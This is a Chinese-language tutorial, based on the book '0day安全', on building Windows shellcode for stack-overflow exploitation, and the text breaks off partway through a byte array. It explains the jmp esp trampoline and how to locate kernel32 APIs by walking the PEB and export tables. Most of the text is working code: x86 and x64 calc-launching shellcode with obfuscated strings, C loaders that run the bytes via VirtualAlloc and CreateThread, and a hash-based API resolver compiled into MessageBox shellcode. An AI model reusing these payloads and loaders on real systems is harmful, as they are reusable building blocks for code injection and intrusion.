学习来源:0day安全一书
shellcode
即一段植入进程的代码。
在实际漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧很有可能会产生”位移“,即shellcode在内存中的地址是动态变化的。因此我们需要找到一个跳板,使得程序的执行流程总是能找到我们的shellcode。
在上一节中verify_password函数返回后栈中的情况如下所示:
0x0012FAF0
,函数返回时,这个地址被弹入EIP
寄存器中,处理器按照EIP
寄存器中的地址取指令,最后栈中的数据被处理器当成指令执行。图一 栈帧位移示意图
图二 溢出发生时栈、寄存器与代码之间的关系
一般情况下,ESP
寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP
所指的位置恰好是我们所淹没的返回地址的下一个位置,如图三。
图三 使用"跳板"的溢出利用流程
由于ESP
寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们就可以使用图三所示的这种定位shellcode的方法来进行动态定位。
jmp esp
指令的地址覆盖函数的返回地址,而不是用原来的手工查询出的shellcode起始地址直接覆盖。jmp esp
指令,而不是直接开始执行shellcode。ESP
在函数返回时仍指向栈区(函数返回地址之后),jmp esp
指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。jmp esp
指令执行过后会恰好跳进shellcode。这种定位shellcode的方法使用进程空间里的一条 jmp esp
指令作为"跳板",无论栈帧怎么"位移",都能精确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。
当然这只是一种定位shellcode的方式,还有其他许多种定位shellcode的方式
1
2
|
操作系统: Windows
10
x64
编译器: vs
2019
|
通过手工查出来的API地址会在其他计算机上失效,在shellcode中使用静态函数地址来调用API会使exploit的额通用性收到很大的限制,所以,实际中使用的shellcode必须还要能动态地获得自身所需的API的函数地址。
Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll
中实现;大量的图形界面相关的API则在user32.dll
中实现。Win32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。
几乎所有Win32程序都会加载ntdll.dll
和kernel32.dll
这两个基础的动态链接库。如果想要在win_32平台下定位kernel32.dll
中的API地址,可以采取如下办法。
64位系统
GS
在内存中找到当前存放着指向当前线程环境块TEB
。在GS
中存储的是TEB
在GDT(Global Descriptor Table)
中的序号,通过GDT
获取TEB
的基址。0x60
的地方存放着指向进程环境块PEB
的指针(即GS[0x30]
)。0x18
的地方存放着指向PEB_LDR_DATA
结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。PEB_LDR_DATA
结构体偏移位置为0x20
的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList
。InInitializationOrderModuleList
中按顺序存放着 PE
装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll
,第二个链表结点就是 kernelbase.dll
,第三个节点才是kernel32.dll
。kernel32.dll
的结点后,在其基础上再偏移 0x20
就是 kernel32.dll
在内存中的加载基地址。kernel32.dll
的加载基址算起,偏移0x3C
的地方就是其PE
头。PE
头偏移 0x88
的地方存放着指向函数导出表的指针。32位系统
FS
在内存中找到当前存放着指向当前线程环境块TEB
。在FS
中存储的是TEB
在GDT(Global Descriptor Table)
中的序号,通过GDT
获取TEB
的基址。0x30
的地方存放着指向进程环境块PEB
的指针(即FS[0x30]
)。0x0C
的地方存放着指向PEB_LDR_DATA
结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。PEB_LDR_DATA
结构体偏移位置为0x1C
的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList
。InInitializationOrderModuleList
中按顺序存放着 PE
装入运行时初始化模块的信息,第一个链表结点是 ntdll.dll
,第二个链表结点就是 kernel32.dll
。kernel32.dll
的结点后,在其基础上再偏移 0x08
就是 kernel32.dll
在内存中的加载基地址。kernel32.dll
的加载基址算起,偏移0x3C
的地方就是其PE
头。PE
头偏移 0x78
的地方存放着指向函数导出表的指针。图四 在shellcode中动态定位API的原理
x64 弹出计算器shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
|
/
*
; Get kernel32.dll base address
xor rdi, rdi ; RDI
=
0x0
mul rdi ; RAX&RDX
=
0x0
mov rbx, gs:[rax
+
0x60
] ; RBX
=
Address_of_PEB
mov rbx, [rbx
+
0x18
] ; RBX
=
Address_of_LDR
mov rbx, [rbx
+
0x20
] ; RBX
=
1st
entry
in
InitOrderModuleList
/
ntdll.dll
mov rbx, [rbx] ; RBX
=
2nd
entry
in
InitOrderModuleList
/
kernelbase.dll
mov rbx, [rbx] ; RBX
=
3rd
entry
in
InitOrderModuleList
/
kernel32.dll
mov rbx, [rbx
+
0x20
] ; RBX
=
&kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8
=
&kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx
+
0x3C
] ; RBX
=
Offset NewEXEHeader
add rbx, r8 ; RBX
=
&kernel32.dll
+
Offset NewEXEHeader
=
&NewEXEHeader
xor rcx, rcx ; Avoid null bytes
from
mov edx,[rbx
+
0x88
] by using rcx register to add
add cx,
0x88ff
shr rcx,
0x8
; RCX
=
0x88ff
-
-
>
0x88
mov edx, [rbx
+
rcx] ; EDX
=
[&NewEXEHeader
+
Offset RVA ExportTable]
=
RVA ExportTable
add rdx, r8 ; RDX
=
&kernel32.dll
+
RVA ExportTable
=
&ExportTable
; Get &AddressTable
from
Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx
+
0x1C
] ; RDI
=
RVA AddressTable
add r10, r8 ; R10
=
&AddressTable
; Get &NamePointerTable
from
Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx
+
0x20
] ; R11
=
[&ExportTable
+
Offset RVA Name PointerTable]
=
RVA NamePointerTable
add r11, r8 ; R11
=
&NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable
from
Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx
+
0x24
] ; R12
=
RVA OrdinalTable
add r12, r8 ; R12
=
&OrdinalTable
jmp short apis
; Get the address of the API
from
the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the
return
address
for
ret
2
caller after API address
is
found
pop rcx ; Get the string length counter
from
stack
xor rax, rax ; Setup Counter
for
resolving the API Address after finding the name string
mov rdx, rsp ; RDX
=
Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter
from
the stack
xor rdi,rdi ; Clear RDI
for
setting up string name retrieval
mov edi, [r11
+
rax
*
4
] ; EDI
=
RVA NameString
=
[&NamePointerTable
+
(Counter
*
4
)]
add rdi, r8 ; RDI
=
&NameString
=
RVA NameString
+
&kernel32.dll
mov rsi, rdx ; RSI
=
Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter
from
top of stack
mov ax, [r12
+
rax
*
2
] ; RAX
=
[&OrdinalTable
+
(Counter
*
2
)]
=
ordinalNumber of kernel32.<API>
mov eax, [r10
+
rax
*
4
] ; RAX
=
RVA API
=
[&AddressTable
+
API OrdinalNumber]
add rax, r8 ; RAX
=
Kernel32.<API>
=
RVA kernel32.<API>
+
kernel32.dll BaseAddress
push rbx ; place the
return
address
from
the api string call back on the top of the stack
ret ;
return
to API caller
apis: ; API Names to resolve addresses
; WinExec | String length :
7
xor rcx, rcx
add cl,
0x7
; String length
for
compare string
mov rax,
0x9C9A87BA9196A80F
;
not
0x9C9A87BA9196A80F
=
0xF0
,WinExec
not
rax ;mov rax,
0x636578456e6957F0
; cexEniW,
0xF0
:
636578456e6957F0
-
Did Not to avoid WinExec returning
from
strings static analysis
shr rax,
0x8
; xEcoll,
0xFFFF
-
-
>
0x0000
,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API
from
Kernel32.dll ExportTable
mov r14, rax ; R14
=
Kernel32.WinExec Address
; UINT WinExec(
; LPCSTR lpCmdLine,
=
> RCX
=
"calc.exe"
,
0x0
; UINT uCmdShow
=
> RDX
=
0x1
=
SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX
=
0x0
; calc.exe | String length :
8
push rax ; Null terminate string on stack
mov rax,
0x9A879AD19C939E9C
;
not
0x9A879AD19C939E9C
=
"calc.exe"
not
rax
;mov rax,
0x6578652e636c6163
; exe.clac :
6578652e636c6163
push rax ; RSP
=
"calc.exe"
,
0x0
mov rcx, rsp ; RCX
=
"calc.exe"
,
0x0
inc rdx ; RDX
=
0x1
=
SW_SHOWNORMAL
sub rsp,
0x20
; WinExec clobbers first
0x20
bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec(
"calc.exe"
, SW_HIDE)
*
/
#include <windows.h>
void main() {
void
*
exec
;
BOOL
rv;
HANDLE th;
DWORD oldprotect
=
0
;
/
/
Shellcode
unsigned char payload[]
=
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6"
;
unsigned
int
payload_len
=
205
;
exec
=
VirtualAlloc(
0
, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(
exec
, payload, payload_len);
rv
=
VirtualProtect(
exec
, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th
=
CreateThread(
0
,
0
, (LPTHREAD_START_ROUTINE)
exec
,
0
,
0
,
0
);
WaitForSingleObject(th,
-
1
);
}
|
x86 弹出计算器shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
|
/
*
start:
mov ebp, esp ; prologue
add esp,
0xfffff9f0
; Add space
int
ESP to avoid clobbering
find_kernel32:
xor ecx, ecx ; ECX
=
0
mov esi,fs:[ecx
+
0x30
] ; ESI
=
&(PEB) ([FS:
0x30
])
mov esi,[esi
+
0x0C
] ; ESI
=
PEB
-
>Ldr
mov esi,[esi
+
0x1C
] ; ESI
=
PEB
-
>Ldr.InInitOrder
next_module:
mov ebx, [esi
+
0x08
] ; EBX
=
InInitOrder[X].base_address
mov edi, [esi
+
0x20
] ; EDI
=
InInitOrder[X].module_name
mov esi, [esi] ; ESI
=
InInitOrder[X].flink (
next
)
cmp
[edi
+
12
*
2
], cx ; (
unicode
) modulename[
12
]
=
=
0x00
?
jne next_module ; No:
try
next
module
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the
return
address
from
the stack
mov [ebp
+
0x04
], esi ; Save find_function address
for
later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc:
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save
all
registers
mov eax, [ebx
+
0x3c
] ; Offset to PE Signature
mov edi, [ebx
+
eax
+
0x78
] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi
+
0x18
] ; NumberOfNames
mov eax, [edi
+
0x20
] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp
-
4
], eax ; Save AddressOfNames VMA
for
later
find_function_loop:
jecxz find_function_finished ; Jump to the end
if
ECX
is
0
dec ecx ; Decrement our names counter
mov eax, [ebp
-
4
] ; Restore AddressOfNames VMA
mov esi, [eax
+
ecx
*
4
] ; Get the RVA of the symbol name
add esi, ebx ;
Set
ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ; NULL EAX
cdq ; NULL EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the
next
byte
from
esi into al
test al, al ; Check
for
NULL terminator
jz compute_hash_finished ; If the ZF
is
set
, we've hit the NULL term
ror edx,
0x0d
; Rotate edx
13
bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ;
Next
iteration
compute_hash_finished:
find_function_compare:
cmp
edx, [esp
+
0x24
] ; Compare the computed
hash
with the requested
hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi
+
0x24
] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx
+
2
*
ecx] ; Extrapolate the function's ordinal
mov edx, [edi
+
0x1c
] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx
+
4
*
ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp
+
0x1c
], eax ; Overwrite stack version of eax
from
pushad
find_function_finished:
popad ; Restore registers
ret ;
resolve_symbols_kernel32:
push
0xe8afe98
; WinExec
hash
call dword ptr [ebp
+
0x04
] ; Call find_function
mov [ebp
+
0x10
], eax ; Save WinExec address
for
later usage
push
0x78b5b983
; TerminateProcess
hash
call dword ptr [ebp
+
0x04
] ; Call find_function
mov [ebp
+
0x14
], eax ; Save TerminateProcess address
for
later usage
create_calc_string:
xor eax, eax ; EAX
=
null
push eax ; Push null
-
terminated string
push dword
0x6578652e
;
push dword
0x636c6163
;
push esp ; ESP
=
&(lpCmdLine)
pop ebx ; EBX save pointer to string
; UINT WinExec(
; LPCSTR lpCmdLine,
-
> EBX
; UINT uCmdShow
-
> EAX
; );
call_winexec:
xor eax, eax ; EAX
=
null
push eax ; uCmdShow
push ebx ; lpCmdLine
call dword ptr [ebp
+
0x10
] ; Call WinExec
;
BOOL
TerminateProcess(
; HANDLE hProcess,
-
>
0xffffffff
; UINT uExitCode
-
> EAX
; );
terminate_process:
xor eax, eax ; EAX
=
null
push eax ; uExitCode
push
0xffffffff
; hProcess
call dword ptr [ebp
+
0x14
] ; Call TerminateProcess
*
/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/
/
Our WinExec PopCalc shellcode
unsigned char payload[]
=
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14"
;
unsigned
int
payload_len
=
178
;
int
main(void) {
void
*
exec_mem;
BOOL
rv;
HANDLE th;
DWORD oldprotect
=
0
;
/
/
Allocate a memory
buffer
for
payload
exec_mem
=
VirtualAlloc(
0
, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/
/
Copy payload to new
buffer
RtlMoveMemory(exec_mem, payload, payload_len);
/
/
Make new
buffer
as executable
rv
=
VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf(
"\nHit me!\n"
);
printf(
"Shellcode Length: %d\n"
, strlen(payload));
getchar();
/
/
If
all
good, run the payload
if
( rv !
=
0
) {
th
=
CreateThread(
0
,
0
, (LPTHREAD_START_ROUTINE) exec_mem,
0
,
0
,
0
);
WaitForSingleObject(th,
-
1
);
}
return
0
;
}
|
release
版本中的一些信息。如下属性
-> C/C++
-> 代码生成
-> 安全检查
->禁用安全检查 (/GS-)
属性
-> 链接器
-> 清单文件
-> 生成清单
-> 否 (/MANIFEST:NO)
属性
-> 链接器
-> 调试
-> 生成调试信息
-> 否
如下所示:
通常情况下,我们会对所需的API
函数名进行hash
运算,在搜索导出表时对当前遇到的函数名也进行同样的hash
,这样只要比较hash
所得的摘要(digest
)就能判定是不是我们所需的API
了。虽然这种搜索方法需要引入额外的hash
算法,但是可以节省出存储函数名字符串的代码。
注意:
1
|
这里所说的
hash
指的是
hash
算法,是一个运算过程。经过
hash
后得到的值将被称做摘要,即 digest,请注意。
|
这里提供一段简单的 "hash" 算法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
#include <stdio.h>
#include <windows.h>
DWORD GetHash(const char
*
fun_name)
{
DWORD digest
=
0
;
while
(
*
fun_name)
{
digest
=
((digest <<
25
) | (digest >>
7
));
/
/
循环右移
7
位
digest
+
=
*
fun_name;
/
/
累加
fun_name
+
+
;
}
return
digest;
}
void main()
{
DWORD
hash
;
hash
=
GetHash(
"GetProcAddress"
);
printf(
"result of hash is 0x%.8x\n"
,
hash
);
}
|
源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
|
#pragma code_seg("shellcode")
#include <windows.h>
#pragma comment(linker,"/entry:main")
void main()
{
/
/
the pointer of kernel32.dll base address
DWORD dwKernel32Addr
=
0
;
_asm {
push eax
mov eax, dword ptr fs:[
0x30
]
mov eax, [eax
+
0x0C
]
mov eax,[eax
+
0x1C
]
mov eax, [eax]
mov eax, [eax
+
0x08
]
mov dwKernel32Addr, eax
pop eax
}
PIMAGE_DOS_HEADER pDosHeader
=
(PIMAGE_DOS_HEADER)dwKernel32Addr;
PIMAGE_NT_HEADERS32 pNtHeader
=
(PIMAGE_NT_HEADERS32)(dwKernel32Addr
+
pDosHeader
-
>e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDirectory
=
pNtHeader
-
>OptionalHeader.DataDirectory
+
IMAGE_DIRECTORY_ENTRY_EXPORT;
PIMAGE_EXPORT_DIRECTORY pExportFuncTable
=
(PIMAGE_EXPORT_DIRECTORY)(dwKernel32Addr
+
pDataDirectory
-
>VirtualAddress);
PDWORD pAddrOfFunc
=
(PDWORD)(pExportFuncTable
-
>AddressOfFunctions
+
dwKernel32Addr);
PDWORD pAddrOfFuncNames
=
(PDWORD)(pExportFuncTable
-
>AddressOfNames
+
dwKernel32Addr);
PWORD pAddrOfOrdinals
=
(PWORD)(pExportFuncTable
-
>AddressOfNameOrdinals
+
dwKernel32Addr);
DWORD dwFuncGetProcAddress
=
0
;
for
(size_t i
=
0
; i < pExportFuncTable
-
>NumberOfNames; i
+
+
)
{
PCHAR lpFuncName
=
(PCHAR)(pAddrOfFuncNames[i]
+
dwKernel32Addr);
DWORD digest
=
0
;
while
(
*
lpFuncName)
{
digest
=
((digest <<
25
) | (digest >>
7
));
digest
+
=
*
lpFuncName;
lpFuncName
+
+
;
}
if
(digest
=
=
0xbbafdf85
)
/
/
0xbbafdf85
是经过自定义
hash
算法得到GetProcAddress函数的摘要
{
dwFuncGetProcAddress
=
pAddrOfFunc[pAddrOfOrdinals[i]]
+
dwKernel32Addr;
break
;
}
}
/
*
如果是弹窗弹窗,这里我们需要 : LoadLibraryExA、MessageBoxA、ExitProcess、user32.dll
*
/
/
*
定义函数指针GetProcAddress
*
/
typedef FARPROC (WINAPI
*
funcGetProcAddress)(
HMODULE hModule,
LPCSTR lpProcName
);
funcGetProcAddress pfuncGetProcAddress
=
(funcGetProcAddress)dwFuncGetProcAddress;
/
*
LoadLibraryExA 函数指针获取
*
/
typedef HMODULE (WINAPI
*
funcLoadLibraryExA)(
LPCSTR lpLibFileName,
HANDLE hFile,
DWORD dwFlags
);
/
/
如果采用字符串模式,其字符串会被放入数据段,使用的每次加载地址都不一样,
char szLoadLibraryExA[]
=
{
'L'
,
'o'
,
'a'
,
'd'
,
'L'
,
'i'
,
'b'
,
'r'
,
'a'
,
'r'
,
'y'
,
'E'
,
'x'
,
'A'
,
'\0'
};
char szUser32[]
=
{
'u'
,
's'
,
'e'
,
'r'
,
'3'
,
'2'
,
'.'
,
'd'
,
'l'
,
'l'
,
'\0'
};
char szMessageBoxA[]
=
{
'M'
,
'e'
,
's'
,
's'
,
'a'
,
'g'
,
'e'
,
'B'
,
'o'
,
'x'
,
'A'
,
'\0'
};
char szExitProcess[]
=
{
'E'
,
'x'
,
'i'
,
't'
,
'P'
,
'r'
,
'o'
,
'c'
,
'e'
,
's'
,
's'
,
'\0'
};
funcLoadLibraryExA pfuncLoadLibraryExA
=
(funcLoadLibraryExA)(pfuncGetProcAddress((HMODULE)dwKernel32Addr,szLoadLibraryExA));
/
*
ExitProcess函数指针
*
/
typedef VOID
(WINAPI
*
funcExitProcess)(
_In_ UINT uExitCode
);
funcExitProcess pfuncExitProcess
=
(funcExitProcess)(pfuncGetProcAddress((HMODULE)dwKernel32Addr, szExitProcess));
/
*
*
加载user32.dll 和messagebox
*
/
typedef
int
(WINAPI
*
funcMessageBoxA)(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType);
funcMessageBoxA pfuncMessageBoxA
=
(funcMessageBoxA)(pfuncGetProcAddress((HMODULE)(pfuncLoadLibraryExA(szUser32, NULL, NULL)), szMessageBoxA));
char szContext[]
=
{
't'
,
'h'
,
'i'
,
's'
,
' '
,
'i'
,
's'
,
' '
,
'a'
,
' '
,
't'
,
'e'
,
's'
,
't'
,
'\0'
};
char szTitle[]
=
{
't'
,
'e'
,
's'
,
't'
,
'\0'
};
pfuncMessageBoxA(NULL, szContext, szTitle, MB_OK);
pfuncExitProcess(
0
);
}
|
编译成功之后,程序正常运行
将程序拖入OD
,按F9
进入程序模块,如图所示:
然后从第一行开始,下拉到空白区选中 右键 复制 二进制复制。然后再在010editor中粘贴自 从十六进制文本粘贴。如下图:
选中然后复制为c代码
这样就得到了我们的shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
unsigned char hexData[
351
]
=
{
0x55
,
0x8B
,
0xEC
,
0x83
,
0xEC
,
0x5C
,
0x53
,
0x56
,
0x57
,
0xC7
,
0x45
,
0xFC
,
0x00
,
0x00
,
0x00
,
0x00
,
0x50
,
0x64
,
0xA1
,
0x30
,
0x00
,
0x00
,
0x00
,
0x8B
,
0x40
,
0x0C
,
0x8B
,
0x40
,
0x1C
,
0x8B
,
0x00
,
0x8B
,
0x40
,
0x08
,
0x89
,
0x45
,
0xFC
,
0x58
,
0x8B
,
0x7D
,
0xFC
,
0x33
,
0xF6
,
0x8B
,
0x47
,
0x3C
,
0x8B
,
0x44
,
0x38
,
0x78
,
0x03
,
0xC7
,
0x8B
,
0x48
,
0x1C
,
0x8B
,
0x50
,
0x24
,
0x03
,
0xCF
,
0x8B
,
0x58
,
0x18
,
0x03
,
0xD7
,
0x89
,
0x4D
,
0xF0
,
0x8B
,
0x48
,
0x20
,
0x03
,
0xCF
,
0x89
,
0x55
,
0xF4
,
0x89
,
0x4D
,
0xF8
,
0x85
,
0xDB
,
0x74
,
0x41
,
0x8B
,
0x14
,
0xB1
,
0x33
,
0xC0
,
0x8A
,
0x0C
,
0x3A
,
0x03
,
0xD7
,
0x84
,
0xC9
,
0x74
,
0x18
,
0xC1
,
0xC8
,
0x07
,
0x8D
,
0x52
,
0x01
,
0x0F
,
0xBE
,
0xC9
,
0x03
,
0xC1
,
0x8A
,
0x0A
,
0x84
,
0xC9
,
0x75
,
0xEF
,
0x3D
,
0x85
,
0xDF
,
0xAF
,
0xBB
,
0x74
,
0x0A
,
0x46
,
0x3B
,
0xF3
,
0x73
,
0x16
,
0x8B
,
0x4D
,
0xF8
,
0xEB
,
0xD0
,
0x8B
,
0x45
,
0xF4
,
0x8B
,
0x5D
,
0xF0
,
0x0F
,
0xB7
,
0x04
,
0x70
,
0x8B
,
0x1C
,
0x83
,
0x03
,
0xDF
,
0xEB
,
0x02
,
0x33
,
0xDB
,
0x8D
,
0x45
,
0xB4
,
0xC7
,
0x45
,
0xB4
,
0x4C
,
0x6F
,
0x61
,
0x64
,
0x50
,
0x57
,
0xC7
,
0x45
,
0xB8
,
0x4C
,
0x69
,
0x62
,
0x72
,
0xC7
,
0x45
,
0xBC
,
0x61
,
0x72
,
0x79
,
0x45
,
0x66
,
0xC7
,
0x45
,
0xC0
,
0x78
,
0x41
,
0xC6
,
0x45
,
0xC2
,
0x00
,
0xC7
,
0x45
,
0xDC
,
0x75
,
0x73
,
0x65
,
0x72
,
0xC7
,
0x45
,
0xE0
,
0x33
,
0x32
,
0x2E
,
0x64
,
0x66
,
0xC7
,
0x45
,
0xE4
,
0x6C
,
0x6C
,
0xC6
,
0x45
,
0xE6
,
0x00
,
0xC7
,
0x45
,
0xC4
,
0x4D
,
0x65
,
0x73
,
0x73
,
0xC7
,
0x45
,
0xC8
,
0x61
,
0x67
,
0x65
,
0x42
,
0xC7
,
0x45
,
0xCC
,
0x6F
,
0x78
,
0x41
,
0x00
,
0xC7
,
0x45
,
0xD0
,
0x45
,
0x78
,
0x69
,
0x74
,
0xC7
,
0x45
,
0xD4
,
0x50
,
0x72
,
0x6F
,
0x63
,
0xC7
,
0x45
,
0xD8
,
0x65
,
0x73
,
0x73
,
0x00
,
0xFF
,
0xD3
,
0x8B
,
0xF0
,
0x8D
,
0x45
,
0xD0
,
0x50
,
0xFF
,
0x75
,
0xFC
,
0xFF
,
0xD3
,
0x8B
,
0xF8
,
0x8D
,
0x45
,
0xC4
,
0x50
,
0x6A
,
0x00
,
0x6A
,
0x00
,
0x8D
,
0x45
,
0xDC
,
0x50
,
0xFF
,
0xD6
,
0x50
,
0xFF
,
0xD3
,
0x6A
,
0x00
,
0x8D
,
0x4D
,
0xE8
,
0xC7
,
0x45
,
0xA4
,
0x74
,
0x68
,
0x69
,
0x73
,
0x51
,
0x8D
,
0x4D
,
0xA4
,
0xC7
,
0x45
,
0xA8
,
0x20
,
0x69
,
0x73
,
0x20
,
0x51
,
0x6A
,
0x00
,
0xC7
,
0x45
,
0xAC
,
0x61
,
0x20
,
0x74
,
0x65
,
0x66
,
0xC7
,
0x45
,
0xB0
,
0x73
,
0x74
,
0xC6
,
0x45
,
0xB2
,
0x00
,
0xC7
,
0x45
,
0xE8
,
0x74
,
0x65
,
0x73
,
0x74
,
0xC6
,
0x45
,
0xEC
,
0x00
,
0xFF
,
0xD0
,
0x6A
,
0x00
,
0xFF
,
0xD7
,
0x5F
,
0x5E
,
0x5B
,
0x8B
,
0xE5
,
0x5D
,
0xC3
};
|
在程序中运行我们的shellcode。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
#include <windows.h>
unsigned char hexData[
351
]
=
{
0x55
,
0x8B
,
0xEC
,
0x83
,
0xEC
,
0x5C
,
0x53
,
0x56
,
0x57
,
